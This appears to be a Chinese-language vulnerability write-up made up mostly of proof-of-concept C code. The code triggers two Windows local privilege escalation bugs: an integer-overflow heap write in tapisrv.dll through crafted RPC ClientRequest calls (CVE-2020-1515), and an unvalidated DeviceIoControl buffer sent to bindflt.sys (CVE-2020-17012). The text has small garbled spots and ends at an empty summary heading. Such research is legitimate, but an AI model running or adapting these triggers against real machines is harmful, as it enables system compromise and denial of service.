CVE-2020-1515 Windows Telephony服务tapisrv.dll整数溢出堆越界写本地提权漏洞

INT64 test=0; void* chandle= &test;

 wchar_t* arg_3 = L"123"; w

char_t* arg_4 = L"123"; 

HANDLE hd = GetCurrentProcess(); 

ClientAttach( DefaultIfName_v1_0_c_ifspec, /* [context_handle][out] */ &chandle, /* [in] */ GetCurrentProcessId(), /* [out] */&hd, /* [string][in] */ arg_3, /* [string][in] */ arg_4); 

后面就可以调用ClientRequest了，这后面就是各种判断到达触发漏洞的地方，这个比较枯燥我就不贴了，值得一提的是下面一个细节。

[in][out]/* simple_ref */ /* [DBG] FC_CVARRAY */[size_is(arg_2)][length_is(*arg_3)]char* arg_1/*[] CONFORMANT_ARRAY*/, [in]long arg_2, [in][out]/* simple_ref */long* arg_3

这个size_is代表服务端申请内存的大小，length_is代表需要将arg_1拷贝到服务端申请内存的大小。

	#include <stdio.h>
	#include <string.h>
	#include "Vulnerability2.h"
	#include <stdlib.h>
	int main(int argc, char* argv[])
	{
	RPC_SECURITY_QOS SecurityQOS = { 0 };
	RPC_WSTR StringBinding = 0;
	RpcStringBindingComposeW((RPC_WSTR)L"2f5f6520-ca46-1067-b319-00dd010662da", (RPC_WSTR)L"ncalrpc",
	0, L"tapsrvlpc", 0, &StringBinding);
	RpcBindingFromStringBindingW(StringBinding, &DefaultIfName_v1_0_c_ifspec);
	SecurityQOS.Version = 1;
	SecurityQOS.ImpersonationType = RPC_C_IMP_LEVEL_IMPERSONATE;
	SecurityQOS.Capabilities = RPC_C_QOS_CAPABILITIES_DEFAULT;
	SecurityQOS.IdentityTracking = RPC_C_QOS_IDENTITY_STATIC;
	RpcBindingSetAuthInfoExW(DefaultIfName_v1_0_c_ifspec, 0, 6u, 0xAu, 0, 0, (RPC_SECURITY_QOS*)&SecurityQOS);
	RpcTryExcept
	{
	// CONTEXT_HANDLE a=0;
	INT64 test=0;
	void* chandle= &test;
	wchar_t* arg_3 = L"123";
	wchar_t* arg_4 = L"123";
	HANDLE hd = GetCurrentProcess();
	// 调用ClientAttach才能获得上下文句柄,直接调用ClientRequest会失败,因为直接调用ClientRequest的context_handle参数具有[in]属性
	ClientAttach(
	DefaultIfName_v1_0_c_ifspec,
	/* [context_handle][out] */ &chandle,
	/* [in] */ GetCurrentProcessId(),
	/* [out] */&hd,
	/* [string][in] */ arg_3,
	/* [string][in] */ arg_4);
	unsigned int len = 2147483647 - 110;
	int* buf = malloc(0xffffffff);
	if (buf == 0)
	{
	printf("Error creating handle %d\n", 1);
	getchar();
	}
	unsigned int size = 2147483647 - 110;
	memset(buf, 0x41, 0xffffffff);
	buf[0] = 0x350 / 8; //call PInitializ
	buf[5] = 0;
	buf[7] = 0;
	unsigned int indx = size + 1;
	indx = indx >> 1;
	buf[indx / 2 - 1] = 0; //绕过IsBadStringParam
	ClientRequest(DefaultIfName_v1_0_c_ifspec,
	chandle,//上下文句柄
	buf, //缓冲区
	size, //在服务器申请的字节数
	&len //将buf内容拷贝到服务器申请的那块的字节数
	);
	// IsBadStringParam(size-0x3c, &buf+0x3c, *buf++0x14)
	// IsBadStringParam(size-0x3c, &buf+0x3c, *buf++0x17)
	}
	RpcExcept(1)
	{
	printf("RPC ExceptiCAPSAX64DRVon %d\n", RpcExceptionCode());
	}
	RpcEndExcept
	return 0;
	}
	void __RPC_FAR* __RPC_USER midl_user_allocate(size_t len)
	{
	return(malloc(len));
	}
	void __RPC_USER midl_user_free(void __RPC_FAR* ptr)
	{
	free(ptr);
	}

CVE-2020-17012 Windows bindflt.sys未验证DeviceIoControl缓冲区本地提权漏洞

poc:

	#include<windows.h> #include<stdio.h>
	int main() {
	HANDLE hDriver = CreateFileA("\\\\.\\GLOBALROOT\\Device\\bindflt", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
	if (hDriver == INVALID_HANDLE_VALUE) {
	printf("The driver does not start or the kb4586786 patch has been applied ");
	getchar();
	return -1;
	}
	ULONG dw;
	ULONG inpbuf[4];
	memset(inpbuf, 0x41, 16);
	DeviceIoControl(hDriver, 0x220000, inpbuf, 16, 0, 0, &dw, NULL);
	CloseHandle(hDriver);
	return 0;
	}

总结：